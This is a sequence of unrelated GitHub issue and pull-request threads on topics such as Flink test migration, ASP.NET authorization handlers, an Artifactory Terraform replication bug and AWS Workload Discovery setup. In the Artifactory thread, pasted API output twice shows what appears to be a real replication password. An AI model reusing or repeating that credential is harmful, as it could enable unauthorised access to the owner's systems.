--> the above command worked fine in a c# program based on ironpython 2.7.9

Here is the c# initialize code
var r = IronPython.Hosting.Python.CreateRuntime(); runtime.IO.SetErrorOutput(streamwriter, Encoding.Default); runtime.IO.SetOutput(streamwriter, Encoding.Default); runtime.IO.SetInput(streamwriter, Encoding.Default);

Thank you very much for your kind explanation.
The c# code has been helpful to me


[WIP][FLINK-25537]  [JUnit5 Migration] Module: flink-core

What is the purpose of the change
Update the flink-core module to AssertJ and JUnit 5 following the JUnit 5 Migration Guide
Also it touches tests extending from org.apache.flink.table.catalog.CatalogTest
Brief change log
Use JUnit5 and AssertJ in tests instead of JUnit4 and Hamcrest
Verifying this change
This change is a code cleanup without any test coverage.
Does this pull request potentially affect one of the following parts:

Dependencies (does it add or upgrade a dependency): (no)
The public API, i.e., is any changed class annotated with @Public(Evolving): (no)
The serializers: (no)
The runtime per-record code paths (performance sensitive): (no)
Anything that affects deployment or recovery: JobManager (and its components), Checkpointing, Kubernetes/Yarn, ZooKeeper: (no)
The S3 file system connector: (no)

Documentation

Does this pull request introduce a new feature? no)
If yes, how is the feature documented? (not applicable)

Hi @GOODBOY008 in case you are still willing to continue with this PR
https://github.com/apache/flink/pull/19667 was merged. It should significantly ease migration of SerializerTestBase  successors.
So makes sense to rebase.

Hi @GOODBOY008 in case you are still willing to continue with this PR #19667 was merged. It should significantly ease migration of SerializerTestBase  successors. So makes sense to rebase.

Ok, I  will rebase my branch.

@flinkbot run azure


driver: added Oss  engine

Hi! Added oss engine to IceFireDB.

Hi! Added oss engine to IceFireDB.

Thank you very much for your contribution to oss kv, it's great.


doc: fix app extension build-args and improve qemu docs

This PR provides two minor fixes to the docs.
Application extension:

The build-args property was not respected when building a west command.

Qemu Networking:

The qemu networking docs did not properly document preliminaries.
Persistent commands should be started in the background when started in a single terminal.

See the result of the fix here: https://builds.zephyrproject.io/zephyr/pr/77601/docs/connectivity/networking/qemu_setup.html#network-connection-between-two-qemu-vms

This is touching two very different areas, would probably make sense to split into two PRs if possible. Thanks!

This is touching two very different areas, would probably make sense to split into two PRs if possible. Thanks!

Will do.

This is touching two very different areas, would probably make sense to split into two PRs if possible. Thanks!

@kartben  Done. Please re-review.

@gmarull Could you please re-approve - no changes, just split-off part of the PR.


Document the fact that custom AuthorizationHandlers will still execute even if authentication fails

When using requirement-based policies, it seems that all custom AuthorizationHandlers will still execute even if token validation fails.  (For example expired token.)
Why does this matter?
Some AuthorizationHandlers could perform some relatively time-intensive/expensive tasks.  If authentication fails, there is a high chance users wouldn't want their custom AuthorizationHandlers to start evaluating requirements.
Rough draft
"Note: If token authentication fails (due to expired token, invalid cryptographic signature, etc), you may want to exit the AuthorizationHandler.HandleAsync() early.  You can do this by checking context.Principal.Identity.IsAuthenticated:"
        public Task HandleAsync(AuthorizationHandlerContext context)
        {
            if (!context.User.Identity.IsAuthenticated)
            {
                return Task.CompletedTask;
            }

            // Perform expensive authorization
        }

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: b1141d92-adeb-6841-229f-914c808f9a2b
Version Independent ID: 7089b376-949f-c1c6-c37a-5d8cc7ecf104
Content: Policy-based authorization in ASP.NET Core
Content Source: aspnetcore/security/authorization/policies.md
Product: aspnet-core
GitHub Login: @Rick-Anderson
Microsoft Alias: riande

@blowdart  should I doc this? I don't see anywhere that indicates they don't run when auth fails.

They also run even if another has failed, because there may be side effects like logging a developer wants. So sure, go for it.

@DrEsteban  or @serpent5 are you interested in creating a PR for this?

Sure, I'd be happy to take a look at this.

Thanks @serpent5 and @Rick-Anderson!


Testing a Ruby plugin

How would I go about setting up testing with Minitest for a Ruby plugin? Did I miss that in the docs somewhere?
Thanks!

I think you have a couple options here:

Write unit-style tests like the ones in neovim-ruby itself: https://github.com/neovim/neovim-ruby/blob/main/spec/neovim/plugin_spec.rb
Write more integration-level tests using a vim test suite such as themis or vspec. neovim-ruby actually has a themis test suite, and here's a nice vimcast on vspec.

If you come up with any ideas for utilities in neovim-ruby itself to facilitate testing, feel free to report back. This is the first time it has come up!

For anyone else who might find it useful, I ended up extracting the bits I care about testing out into a class and calling that class from the Nvim.plugin call. You can check it out here: https://github.com/bweave/nvim-plugins. ❤  that I can skip the Vimscript and create the functionality I want/need in the language I love!


[#4146] open license agreement url in a new tab

Pull Request Checklist:

[ ] Positive Test Case Written by Dev

[ ] Automated Testing

[ ] Sufficient User and Developer Documentation

[ ] Passing Jenkins Build

[ ] Peer Code review and approval

Positive Test Case

[Enter positive test case here]

Looks good, but what about this one:
https://github.com/hydroshare/hydroshare/blob/4146-license-agreement-link-fix/theme/templates/resource-landing-page/modals.html#L1692

METRIC
VALUE

https://sonarqube.cuahsi-workstation.com:9000/dashboard?id=hydroshare-4757


PostgeSQL error: value too long for type character varying(65536)

OS
Your OS: Ubuntu
Versions
cardano-graphql:7.0.0-mainnet
cardano-graphql-hasura:7.0.0
cardano-db-sync:13.0.4
cardano-ogmios:v5.5.5-mainnet
cardano-node:1.35.3
postgres:11.5-alpine
Build/Install Method
Ansible + docker
Run method
Docker
Additional context
Around/after epoch 338, slot 60953227, block 7245000,
Problem Report
2022-09-27 09:49:28.526 UTC [396236] STATEMENT:  WITH "Asset__mutation_result_alias" AS (
UPDATE "public"."Asset" SET "decimals" = ($1)::integer,"description" = ($2)::text,"logo" = ($3)::text,
"metadataHash" = ($4)::bpchar,"name" = ($5)::text,"ticker" = ($6)::text,"url" = ($7)::text  WHERE (('true')
AND ((((("public"."Asset"."assetId") = (($8)::bytea)) AND ('true')) AND ('true')) AND ('true'))) RETURNING * ,
CASE WHEN 'true' THEN NULL ELSE "hdb_catalog"."check_violation"('update check constraint failed')  END ),
"Asset__all_columns_alias" AS (SELECT  "assetId" , "assetName" , "decimals" , "description" , "fingerprint" ,
"firstAppearedInSlot" , "logo" , "metadataHash" , "name" , "policyId" , "ticker" , "url"  FROM "Asset__mutation_result_alias"
    ) SELECT  json_build_object('affected_rows', (SELECT  COUNT(*)  FROM "Asset__all_columns_alias"      ), 'returning',
(SELECT  coalesce(json_agg("root" ), '[]' ) AS "root" FROM  (SELECT  row_to_json((SELECT  "_1_e"  FROM  (SELECT
"_0_root.base"."assetId" AS "assetId"       ) AS "_1_e"      ) ) AS "root" FROM  (SELECT  *  FROM "Asset__all_columns_alias"
WHERE ('true')     ) AS "_0_root.base"      ) AS "_2_root"      ) )
2022-09-27 09:51:10.302 UTC [396236] ERROR:  value too long for type character varying(65536)

Is this from db-sync logs?

This is from PostgreSQL logs.
I just noticed there's a duplicate issue in graphql repo: https://github.com/input-output-hk/cardano-graphql/issues/767

This really looks like a cardano-graphql issue.

Closing this as a dupe of https://github.com/input-output-hk/cardano-graphql/issues/767 .


Add IAMID to keycloak

We added ucdPersonUUID to the a users' keycloak environment, but this is based on mothraId, and may not be used for future users.  The IAM team suggest that we use the iamId entry, because that will continue.  They also suggested that iamId is public data, so that's an added benefit.

Although it hasn't been moved to production, I used updates in #375765d to add these to the existing keycloak setup.
First I saved the users with:
bin/experts-keycloak.js --users | jq . | tee users.json

Then, I updated the users with:
bin/experts-keycloak.js --users | jq -r '.[]|.email'  | xargs bin/experts-keycloak.js --add=iamId --log=error


Add "chamelon" to the related projects section.

"chamelon" implements a subset of littlefs (no global move state or
singly-linked list threaded through the directory tree) for use in the
MirageOS library operating system project. It is written entirely in
OCaml and is interoperable (with the above caveats) with the reference
implementation via FUSE.

OK! Thanks for your response. I'll close this and let future contributors include chamelon, or choose not to do so, as is appropriate with the context at the time.


Vulkan: GPUParticles2D attractors not implemented yet (unlike in GPUParticles3D)

Related to https://github.com/godotengine/godot/issues/60910.
Godot version
4.0.alpha7
System information
Fedora 34, GeForce GTX 1080 (NVIDIA 510.60.02)
Issue description
GPUParticles2D attractors aren't implemented yet (unlike in GPUParticles3D):

Steps to reproduce

Look for GPUParticles2D attractor shape nodes in the Create New Node dialog.

Minimal reproduction project
N/A

I've been investigating this issue and am wondering whether or not a 2D attractor node should extend LightOccluder2D, or if this warrants a new branch of nodes which aligns with how GPUParticlesCollision3D and GPUParticlesAttractor3D work -- ie. we could have GPUParticlesCollision2D and GPUParticlesAttractor2D.
I am leaning toward the former but honestly the difference in naming between 2d and 3d gpu collision nodes seems a bit strange, so was wondering if there is interest in creating a specialized GPUParticlesCollision2D node.


cannot unmarshal object with artifactory_single_replication_config

Describe the bug
Error when creating artifactory_single_replication_config:
╷
│ Error: json: cannot unmarshal object into Go value of type []utils.ReplicationBody
│
│   with artifactory_single_replication_config.remote_replication_config["upstream-docker-remote"],
│   on repositories.tf line 112, in resource "artifactory_single_replication_config" "remote_replication_config":
│  112: resource "artifactory_single_replication_config" "remote_replication_config" {
│
╵

Requirements for and issue

[x] A fully functioning terraform snippet that can be copy&pasted (no outside files or ENV vars unless that's part of the issue)

resource "artifactory_single_replication_config" "remote_replication_config" {
  for_each = {
    for repo, config in var.remote_repositories : repo => config
    if lookup(config, "replication", false) && can(regex("prod", terraform.workspace))
  }

  repo_key                 = each.key
  cron_exp                 = var.remote_replication_cron_expression
  enable_event_replication = false
  sync_deletes             = true
  sync_properties          = true

  lifecycle {
    ignore_changes = [password]
  }
}

[x] Your version of artifactory (you can curl it at $host/artifactory/api/system/version: 6.23.7
[x] Your version of terraform: 1.0.3
[x] Artifactory Provider Version: 2.3.8

This was working previously on Provider version 2.2.15

For reference, I wrote the original implementation before 2.3.x. Looking through the code, it appears the change is https://github.com/jfrog/terraform-provider-artifactory/blob/d88ae3f9d93e9cc104d1fffae2dd4dcced0295f4/pkg/artifactory/resource_artifactory_single_replication_config.go#L90.
The []utils.ReplicationBody should actually be wrapped inside another struct, as per the original code I contributed to the Atlassian library https://github.com/atlassian/go-artifactory/blob/6111b34bd09a5f74a3fb36a2a882687693c984a8/artifactory/v1/artifacts.go#L33-L38.
I've tried to unpick how to actually make things work here, but I'm having a hard time following how the Artifactory client by JFrog actually works, if it works at all with replication.

Let me investigate.

@jamestoyer - I see the problem and you're definitely right. That's a huge oversight. Wild that none of the tests cause this.

Well, here is what I get when fetch a resource at the sam as the API:
christianb@christianb-mac terraform-provider-artifactory % curl http://localhost:8081/artifactory/api/system/version | jq .version
"7.24.3"
christianb@christianb-mac terraform-provider-artifactory % curl https://partnership.jfrog.io/artifactory/api/system/version | jq .version
"7.26.3"

the first is a self-hosted instance and the second a saas
And, here is fetching that one single repo
christianb@christianb-mac terraform-provider-artifactory % curl https://partnership.jfrog.io/artifactory/api/replications/art-docker2art-test | jq .

[
  {
    "url": "https://johnp.jfrog.tech/artifactory/art-replicated/",
    "socketTimeoutMillis": 15000,
    "username": "admin",
    "password": "JE2coeftYghHegXzE6KMk7pud1FwNDBZjPPbkMzoLyy1u7AmSY",
    "syncStatistics": true,
    "enabled": true,
    "cronExp": "* * * * * ? *",
    "syncDeletes": true,
    "syncProperties": true,
    "repoKey": "art-docker2art-test",
    "replicationKey": "art-docker2art-test_ada5dfc641",
    "enableEventReplication": true,
    "checkBinaryExistenceInFilestore": false
  }
]

And here is the struct that backs this up:
type ReplicationBody struct {
	Username               string `json:"username"`
	Password               string `json:"password"`
	URL                    string `json:"url"`
	CronExp                string `json:"cronExp"`
	RepoKey                string `json:"repoKey"`
	EnableEventReplication bool   `json:"enableEventReplication"`
	SocketTimeoutMillis    int    `json:"socketTimeoutMillis"`
	Enabled                bool   `json:"enabled"`
	SyncDeletes            bool   `json:"syncDeletes"`
	SyncProperties         bool   `json:"syncProperties"`
	SyncStatistics         bool   `json:"syncStatistics"`
	PathPrefix             string `json:"pathPrefix"`
}

@tdgeery - you're using a very old instance of artifactory, so it's going to be hard for me to confirm what's going on. But, based on the payloads here, the code in place now works fine and lines ups. I can't see any reason that outer wrapper would have ever have been needed. That outer wrapper looks like an abstraction layer and that explains why I could never find an analog to it in jfrog-client-go. Even if your company doesn't allow username/password login (using SAML or something like that), you can get credentials by generating an API key for yourself in you user profile (top right) -> edit profile -> generate API key. You can use this in lieu of your password.
if you can capture the payload and put it here I can analize it
@jamestoyer - since you wrote that atlassian code, if you can explain what the wrapper was for, that'd be great.
Finally: The API docs are wrong:
It says payload is this:
GET /api/replications/libs-release-local
{
  "url" : "http://localhost:8081/artifactory/remote-repo",
  "socketTimeoutMillis" : 15000,
  "username" : "admin",
  "password" : "password",
  "enableEventReplication" : false,
  "enabled" : true,
  "cronExp" : "0 0 12 * * ?",
  "syncDeletes" : true,
  "syncProperties" : true,
  "syncStatistics" : false,
  "repoKey" : "libs-release-local",   "replicationKey" : "generic-local_http__5d00703ade",
  "pathPrefix" : "/path/to/repo",
  "checkBinaryExistenceInFilestore" : false
}

This is what I get when I curl:
christianb@christianb-mac terraform-provider-artifactory % curl https://partnership.jfrog.io/artifactory/api/replications/art-docker2art-test | jq .

[
  {
    "url": "https://johnp.jfrog.tech/artifactory/art-replicated/",
    "socketTimeoutMillis": 15000,
    "username": "admin",
    "password": "JE2coeftYghHegXzE6KMk7pud1FwNDBZjPPbkMzoLyy1u7AmSY",
    "syncStatistics": true,
    "enabled": true,
    "cronExp": "* * * * * ? *",
    "syncDeletes": true,
    "syncProperties": true,
    "repoKey": "art-docker2art-test",
    "replicationKey": "art-docker2art-test_ada5dfc641",
    "enableEventReplication": true,
    "checkBinaryExistenceInFilestore": false
  }
]

Notice a subtle difference? The docs show it should produce a single entity (makes sense), but the returned payload is an array.
My current thinking is an out-of-date artifactory and API

It is an abstraction layer. But that doesn't explain a JSON serialization error
	replicationConfig := new(ReplicationConfig)

	if len(replications) > 0 {
		replicationConfig.Replications = new([]SingleReplicationConfig)
	}

	for _, replication := range replications {
		replicationConfig.RepoKey = replication.RepoKey
		replicationConfig.CronExp = replication.CronExp
		replicationConfig.EnableEventReplication = replication.EnableEventReplication

		*replicationConfig.Replications = append(*replicationConfig.Replications, replication)
	}

Ah, I think I've worked it out @chb0github. So the documentation is both right and wrong. For remote repositories, you can only have pull replication, which returns the following (this is taken from our cluster and anonymised)
{
  "enabled" : true,
  "cronExp" : "0 0 0/6 ? * *",
  "syncDeletes" : true,
  "syncProperties" : true,
  "repoKey" : "libs-release-local",
  "replicationKey" : "generic-local_http__5d00703ade",
  "enableEventReplication" : false,
  "checkBinaryExistenceInFilestore" : false
}

However, you can also enable push replication, and that is what I think you're seeing with your list of replications being returned. Pull replication can only be enabled on remote repositories whilst push replication can be enabled on many. I suspect the reason it fails now is that the JSON parser before was more forgiving.
For reference we're running 7.25.7.

I am ready to give this a test, but I need you to give me a copy-and-paste example. What you've supplied has externals I don't have access to

@chb0github I just switched out the repoKey and replicationKey from the examples you posted in https://github.com/jfrog/terraform-provider-artifactory/issues/133#issuecomment-922114572. To ETE test I think all you need is to set up a new repository of type remote, then you'd set up pull replication on it. The upstream repo doesn't need to actually exist for testing

I have working code and I am trying to get some acceptance tests together. With luck this fix will be out today

will release with 2.6.5


Include minSdkVersion for all plugins

Description
Add necessary AndroidManifest to support flutter sdk version and add more documentation regarding the minSdkVersion

Can you explain what the effect of this change is for developers? We'll need to update the pubspec.yaml and CHANGELOG entries for each of the affected plugins for release.

Right now flutter supports a minimum SDK version of 16 and all plugins should be able to match it, anything lower than that will probably cause some unwanted issues. We need to add those into Android Manifest and properly document it.

Hi Collin&Amir, could you guys do another review please? Not sure about the failing checks. It doesn't seem to be relevant for this PR.

Looks good, I'm happy to merge this. I'd appreciate it if you could update the CHANGELOGs/pubspecs as Mehmet mentioned.

Thanks for the contribution! I'm closing this PR because the code has moved quite a bit since this was posted originally, and there's major conflicts right now (and I'm sure this ended up happening gradually to most plugins). I'm closing this to clean up our PR backlog. Thanks!

Thanks for the contribution! I'm closing this PR because the code has moved quite a bit since this was posted originally, and there's major conflicts right now (and I'm sure this ended up happening gradually to most plugins). I'm closing this to clean up our PR backlog. Thanks!


Reduce allocations in parser.

Ok so the major changes in this PR so far are:

I removed some functions that seemed unused/unneeded:

equal_at, whose usages I replaced with rest.
flatten, which is just the concat method for slices.
lines, which was kinda bad anyway, as it unnecessarily allocated memory.
head_default, no longer needed due to changes to skip_spaces.

skip no longer recurses, which should prevent that function from causing any stack overflows. It also mutates its argument now (not sure if that's bad, doesn't seem like it affects anything though).
Similarly, the function signatures of skip_comment and skip_spaces now explicitly state that the argument is mutated (it seems like they were previously implicitly mutating their arguments anyway?).
The rest method now doesn't directly index into a slice (which is dangerous and can cause panics), it instead calls get and returns an Option.
highlight should allocate less memory now (only the allocation of the intermediate String should be occurring now, instead of also allocating a Vec).
Added tests for a few of the functions (tail, the skipper functions, and highlight).

Looks great! But have you tested the new highlight for different inputs? One line, zero lines, 10+ lines, errors covering 1 and multiple lines?

Not yet. I'm in the process of writing some property-based tests for functions in parser.rs, which I'm writing in conjunction with this (but that will be another PR), which is why this is still marked as WIP, since I might discover other things to improve in that file while writing the tests and getting a better understanding of its functions.

But are you sure it is the old algorithm? Any chance something changed unnoticed? Just to be sure before merging.

It's entirely possible I broke something. I'll definitely do the tests you asked and review any changes before I mark this ready for review.

okay, just let me know when you're confident it is equivalent, and I'll merge!

I want to take a break from working on the parser (I'm not sure what other easy improvements I can make to it other than adding more tests) and to instead try to dabble with other parts of the repo, so I've marked this ready for review so that the work I've done so far at least won't be wasted.

I've been short of time to review, test and merge PRs, sorry. Please just notify me via DM on Discord when you need me so merge something. Can't merge this one due to conflicts sadly.


qKe Request failed with status code 403

If your issue relates to the Discovery Process, please first follow the steps described in the implementation guide Debugging the Discovery Component

Describe the bug
when clicking on resources I get the error qKe Request failed with status code 403
To Reproduce
Steps to reproduce the behavior:

when logged in as admin click on resources under explore
error message will appear on top
no resources are discovered

Expected behavior
resources listed
Screenshots

Browser (please complete the following information):
reproducible on latest versions of edge and chrome
Additional context
Add any other context about the problem here.

Open up your browser dev tools and paste any errors you see there into this issue.

{
"errors" : [ {
"errorType" : "WAFForbiddenException",
"message" : "403 Forbidden"
} ]
Oh, I think I know now. Where it says "Comma separated list of CIDR ranges to manage access the API. To allow all the entire internet, use <IP_ADDRESS>/1,<IP_ADDRESS>/1" what they mean is you should allow the internet because it needs to use the internet?
If that's true what's the best way to go about fixing this without having to redo the whole thing?

Yea, easy enough. Thanks.
Error's gone but now no resources discovered... different problem I guess...

The discovery task runs every 15 minutes, so won't run for another 5 minutes (assuming you've deployed the CloudFormation to the various accounts you want to import).

Running it as CrossAccountDiscovery set to AWS_ORGANIZATIONS.
So maybe I have the wrong OrganizationUnitId.
I used the r- value for the root OU but should it be the o- value of the organization?

No, the r value will work. Check the ECS logs (don't worry about lambda) for any errors, instructions at think link: https://aws-solutions.github.io/workload-discovery-on-aws/workload-discovery-on-aws/2.0/debugging-the-discovery-component.html.

Thanks. It was the r value and it did discover some resources however going through the debugging I'm getting quite a lot (22 per discovery) of:
{
"error": {
"name": "TooManyRequestsException",
"$fault": "client",
"$metadata": {
"httpStatusCode": 429,
"requestId": "c36e55ed-eb1c-43e9-8415-b1826ee017e0",
"attempts": 4,
"totalRetryDelay": 1856
},
"retryAfterSeconds": null
},
"level": "error",
"message": "Error discovering API Gateway integration for resource: arn:aws:apigateway:us-west-2::/restapis/fqsoha0aq2/resources/89lfy2",
"timestamp": "2024-01-17T23:31:05.569Z"
}
I'm also getting 1:
{
"message": "Access denied assuming role: arn:aws:iam::922409771208:role/WorkloadDiscoveryRole-922409771208. This is the management account, ensure the global resources template has been deployed to the account.",
"level": "error",
"timestamp": "2024-01-17T23:30:37.747Z"
}
But it is true I haven't deployed the global resources template

So some additional information:

In our Audit account<PHONE_NUMBER>95), resource explorer shows 514 resources.
In our Org account, resource explorer filter to the Audit account it shows 513 resources.
In our Org account, Config Aggregators shows OK for<PHONE_NUMBER>95 and all the Regions show as OK.

But in Config Aggregators Resources filtered to<PHONE_NUMBER>95 shows no resources.

So it seems like it's connecting fine but it's not discovering anything there. And maybe there's a security option in the account<PHONE_NUMBER>95 limiting API calls? But I'm not sure where I would look for that.

Thanks. It was the r value and it did discover some resources however going through the debugging I'm getting quite a lot (22 per discovery) of: { "error": { "name": "TooManyRequestsException", "$fault": "client", "$metadata": { "httpStatusCode": 429, "requestId": "c36e55ed-eb1c-43e9-8415-b1826ee017e0", "attempts": 4, "totalRetryDelay": 1856 }, "retryAfterSeconds": null }, "level": "error", "message": "Error discovering API Gateway integration for resource: arn:aws:apigateway:us-west-2::/restapis/fqsoha0aq2/resources/89lfy2", "timestamp": "2024-01-17T23:31:05.569Z" }
I'm also getting 1: { "message": "Access denied assuming role: arn:aws:iam::922409771208:role/WorkloadDiscoveryRole-922409771208. This is the management account, ensure the global resources template has been deployed to the account.", "level": "error", "timestamp": "2024-01-17T23:30:37.747Z" } But it is true I haven't deployed the global resources template

The API errors are because the the discovery process is being rate limited when it makes SDK calls to the API gateway SDK.
The IAM error you are seeing is because of the way organization wide StackSets work: they do not allow you to deploy a stack instance to the management account. In AWS_ORGANIZATIONS mode, the deployment process uses StakcSets to deploy the global resources stack on your behalf in all the accounts in your organization. There should be an error dialog box on the Accounts page  the Workload Discovery UI that has a link to the template that you can manually deploy in the management account using CloudFormation.

Is this something that AWS support can temporarily increase or lift? It looks like it's stopping at the same point each time so it's not discovering new resources.

Do you mean the discovery process is crashing? Those throttling errors should only affect API Gateway, they should be skipped over and the process should move on to the next set of resources. Can you attach the ECS logs here so I can have a look?

I don't know if the process is crashing but I do know not all of my resources are being discovered. In the account mentioned before each region shows "Not Discovered" but I know that account has 514 resources across 18 regions according to resource explorer. Or are there default resources in each region and the discovery process is filtering them out? I've attached the ECS logs for the most recent discovery job.
log-events-viewer-result.csv

It looks like there are only 1734 resources in the entire aggregator, that seems very low for an organization wide aggregator. When you say 'resource explorer', do you mean the service or do you mean the resource section in the AWS Config console page? Can you go to the aggregator that WD deployed (it will be called aws-perspective-<wd-region>-<wd-account-id>-aggregator and run the following query in the advanced queries section:
SELECT * WHERE accountId = '<account-id-with-514 resources'

Make sure the query scope is the aggregator as per the screenshot:

What results do you see?

Yes, the service AWS resource explorer.

Looks like it has no output.

The results of the SQL query means it looks like the issue is that AWS Config is not enabled in any regions in that account. Try enabling it in us-east-1 of<PHONE_NUMBER>95 and you should see IAM roles and and a few other global resource types when you run that query again (note that it can take several minutes for Config to find the resources after enablement).
If Config doesn't know about a resource there's no way for WD to discover it as we get 90% of our resources from their APIs (under the hood we also use the SQL syntax you are using there for your ad hoc query).

Thanks. That's showing up now. Does AWS Config need to be enabled in every region in use or only one? For<PHONE_NUMBER>95 us-east-1 and ap-southeast-2 are in use.

Yeah, it needs to be enabled in each region you're interesting in.

Great. That's solved most of my problems!
I do have one account<PHONE_NUMBER>96) which I've enabled config on all 17 regions enabled on that account. However the discovery is only resources in 3 regions and the other regions it's saying "Not Discovered" like when config was not enabled in that region.
Do you know why that would be?

That's strange. Are there any errors in the discovery process logs?

I think I've sorted it. I did find out that Config was not enabled on the other regions but that the admin account for some reason can't add it to those regions. I've also realized there's only the default stuff in those regions without config so at the moment not necessary.
Is there a way to filter out the default resources?

Sorry, I never saw this follow up question. When you say 'default stuff', I presume you mean resources in regions where Config is not enabled that we discover using the SDK rather than getting from Config. Unfortuantely, there isn't a way to hide those in the current version of WD. I will investigate if there's a way we can do it in a upcoming version but I'm going to close this issue for now as it's not related to the original problem.


Octanime

Source name
Octanime
Source link
https://www.octanime.tv/
Source language
Arabic
Other details
Nsfw=no
Thanks
Acknowledgements

[X] I have searched the existing issues and this is a new ticket, NOT a duplicate or related to another open or closed issue.
[X] I have written a title with source name.
[X] I have checked that the extension does not already exist on the website extensions list or the app.
[X] I have checked that the extension does not already exist by searching the GitHub repository and verified it does not appear in the code base.
[X] I will fill out all of the requested information in this form.

Duplicate of #1865


feat: add Finnish localization 🇫🇮

Description
This PR adds a Finnish localization.
The only term I couldn't think of a great localization for is token, but that can be fixed later.

Changelog Entry
Added

Added a Finnish localization.

Additional Information

I'm a native Finnish speaker.

Thanks!


[OS] Add functions to determine standard I/O device type.

Adds methods to check std handle type.
Adds console wrapper detection (on Windows) to prevent non-functional stdin reads when not using wrapper (will return "invalid" type).
Adds buffer size argument to the stdio read method.
Adds method to read stdin as raw data instead of UTF-8 encoded string.

Required to filter escape sequences for the redirected streams (a filter similar to #90900, or probably can be filtered directly in the rich_print to avoid extra regex, will add it later as a separate PR).
Production edit (keywords for easier searching): TTY, CLI, terminal

or probably can be filtered directly in the rich_print to avoid extra regex, will add it later).

Note that this approach will not work with manually inserted ANSI escape sequences in print() or printraw(). It's probably not critical but it's something to consider.

filter similar to https://github.com/godotengine/godot/pull/90900

In this case, adding regex will not be straightforward. StdLogger is created before ClassDB init, and RegEx class can't be created before it's registered in ClassDB.

Thanks!


Can we use for large scale Video Surveillance?

I guess but you should probably create a dataset and train the models on your data if you want good accuracy. There's a link to the repository for training in the README.


add kuromoji_completion token filter docs #8151

Description
add kuromoji_completion token filter docs
Issues Resolved
Closes https://github.com/opensearch-project/documentation-website/issues/8151
Version
all
Checklist

[x] By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license and subject to the Developers Certificate of Origin.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

@udabhas @varun-lodaya Please provide tech review approval to move this PR forward in the documentation process. Please review this week or provide a peer who can review it. Thank you.


Updated the yaml examples to the latest version

Thank you for the helpful GitHub Action.
I have updated the documentation examples from an older version to the latest one.

Thank you!


Support Include after changing query type with Select

Windows 10, VS 2015, IIS Express, SQL Server Express 2014, EF 7.0.0-beta8, ASP.NET 6.0.0-beta8
Using an .Include with a .Select has no effect (does not populate the child object/collection).
Models:
public class Blog
{
        public int BlogId { get; set; }

        public string Status { get; set; }

        public ICollection<Post> Posts { get; set; }

        public virtual BlogMetadata BlogMetadata { get; set; }
}

public class BlogMetadata
    {
        [Key, ForeignKey("Blog")]
        public int BlogId { get; set; }

        public string Metadata { get; set; }

        public virtual Blog Blog { get; set; }
    }

public class Post
{
        public int PostId { get; set; }

        public int BlogId { get; set; }

        public string PostText { get; set; }

        public Blog Blog { get; set; }
}

FK configuration:
            modelBuilder.Entity<Post>().HasOne(p => p.Blog).WithMany(b => b.Posts);
            modelBuilder.Entity<Blog>().HasOne(b => b.BlogMetadata).WithOne(m => m.Blog);

Populates BlogMetadata child object:
List<Blog> blogs = _dbContext.Blogs
                .Where(b => b.Status == "A")
                .Include(b => b.BlogMetadata)
                .ToList();

Does not populate BlogMetadata child object:
List<Blog> blogs = _dbContext.Posts
                .Where(p => p.PostText.Contains("test"))
                .Select(p => p.Blog)
                .Include(b => b.BlogMetadata)
                .ToList();

This also happens with child collections (.Include(b => b.Posts)) or trying the .Include before the .Select, e.g.
List<Blog> blogs = _dbContext.Posts
                .Where(p => p.PostText.Contains("test"))
                .Include(p => p.Blog.BlogMetadata)
                .Select(p => p.Blog)
                .ToList();

or chaining with .ThenInclude:
List<Blog> blogs = _dbContext.Posts
                .Where(p => p.PostText.Contains("test"))
                .Include(p => p.Blog).ThenInclude(b => b.BlogMetadata)
                .Select(p => p.Blog)
                .ToList();

In each case, the generated SQL does not reference BlogMetadata at all:
SELECT [p.Blog].[BlogId], [p.Blog].[Status]
FROM [Post] AS [p]
INNER JOIN [Blog] AS [p.Blog] ON [p].[BlogId] = [p.Blog].[BlogId]
WHERE [p].[PostText] LIKE ('%' + 'test') + '%'

@smitpatel Also duplicate of #16752?

This is actually fixed. The last 2 linq query will actually include BlogMetadata on Blog. Earlier we used to ignore it. Fixed by #12737


Don't fetch cf object from cloudflare w/ a flag

There should be a --offline flag to prevent miniflare from fetching the cf data object from cloudflare.
Also it would be nice if fetching it was skipped if the (cloudflare pages) project didn't have a functions dir (for instance, if I only wanted to use _headers or _redirects, so functions-related stuff would be optimized out).

Ah, I didn't realize I confused miniflare with wrangler2- it was just that wrangler2 didn't expose --no-cf-fetch. I'll open issues in the wrangler2 repo, thanks!


Saving gives an error but does generate a file.
Loading does not set up players and does not pull unlocked characters out of the box.
Saves.zip

{
"enhancements": {
"Doomstalker": {
"Fresh Kill": {
"1": "Plus 1"
},
"Press the Attack": {
"1": "Plus 1"
},
"Swift Trickery": {
"1": "Plus 1"
}
},
"Scoundrel": {
"Cull the Weak": {
"1": "Plus 1"
},
"Flanking Strike": {
"1": "Plus 1",
"2": "Strengthen"
},
"Open Wound": {
"2": "Dark"
},
"Sinister Opportunity": {
"1": "Plus 1",
"2": "Plus 1"
},
"Smoke Bomb": {
"1": "Strengthen"
},
"Swift Bow": {
"3": "Plus 1"
}
},
"Soothsinger": {
"Disorienting Dirge": {
"1": "Curse"
},
"Singing Arrow": {
"1": "AoE HEx"
},
"Throw Voice": {
"1": "AoE HEx"
}
}
},
"events": {
"city": {
"bottomUp": [ 40, 36, 73, 33, 26, 20, 32, 25, 80, 27, 37, 74, 24, 39, 2, 75, 19 ],
"remove": [ 1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 21, 22, 23, 28, 29, 30 ]
},
"road": {
"bottomUp": [ 49 ],
"remove": [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30 ]
}
},
"global": {
"achievements": {
"Ancient Technology": 4,
"City Rule: Militaristic": 1,
"The Drake Aided": 1,
"The Edge of Darkness": 1,
"The Merchant Flees": 1,
"The Power of Enhancement": 1,
"The Rift Neutralized": 1,
"The Voice Freed": 1,
"Water-Breathing": 1
},
"prosperity": 40,
"scenarios": {
"1": "Done",
"10": "Locked",
"11": "Locked",
"12": "Locked",
"13": "Done",
"14": "Locked",
"15": "Locked",
"16": "Locked",
"18": "Locked",
"19": "Done",
"2": "Done",
"20": "Done",
"21": "Locked",
"22": "Open",
"23": "Locked",
"24": "Done",
"25": "Locked",
"26": "Done",
"27": "Locked",
